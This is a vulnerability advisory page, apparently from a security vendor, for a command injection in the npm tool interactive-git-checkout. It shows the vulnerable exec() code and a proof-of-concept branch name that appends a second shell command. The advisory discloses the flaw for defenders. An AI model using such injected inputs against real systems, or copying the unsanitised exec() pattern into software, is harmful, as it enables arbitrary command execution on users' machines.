🛡️ CVE-2025-59046 — interactive-git-checkout

🔴 CVSS 9.8 — Critical ✅ No Known Exploit CWE-77 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

interactive-git-checkout has a Command Injection vulnerability

The npm package interactive-git-checkout is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via npm install -g interactive-git-checkout.

Resources:

  • Project's npm package: https://www.npmjs.com/package/interactive-git-checkout

Command Injection Vulnerability

The interactive-git-checkout tool is vulnerable to a command injection vulnerability because it passes the branch name to the git checkout command using the Node.js child process module's exec() function without proper input validation or sanitization.

The following vulnerable code snippets demonstrates the issue:

```js

const { exec: execCb } = require('child_process');

const { promisify } = require('util');

const exec = promisify(execCb);

module.exports = async (targetBranch) => {

const { stdout, stderr } = await exec(git checkout ${targetBranch});

process.stderr.write(stderr);

process.stdout.write(stdout);

};

```

Exploit Proof of Concept

1. Install the interactive-git-checkout package (as suggested by the package's README):

```bash

npm install --global interactive-git-checkout

```

2. Run the executable exposed by the installed package:

```bash

$ igc

```

3. When prompted, enter the following branch name:

```bash

hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; #

```

Vulnerable versions

All versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of 1.1.4.

# Author

Liran Tal

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2025-59046 is classified as CWE-77: Command Injection. User input is placed into a command that the system interprets, allowing extra commands to be appended to the intended one.

Affected software

CVE-2025-59046 is recorded against 2 packages.

  • interactive-git-checkout
  • unknown

Timeline and source

Published on 10 September 2025. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-77
Public Exploit ✅ No
Source NVD
Published 2025-09-10
Updated 2026-08-12
Modified 2025-09-10
Fix URL N/A

Affected Packages

Software From version Fixed in
interactive-git-checkout
unknown

Exploit Protection

Are you running interactive-git-checkout?

CVE-2025-59046 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-59046 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.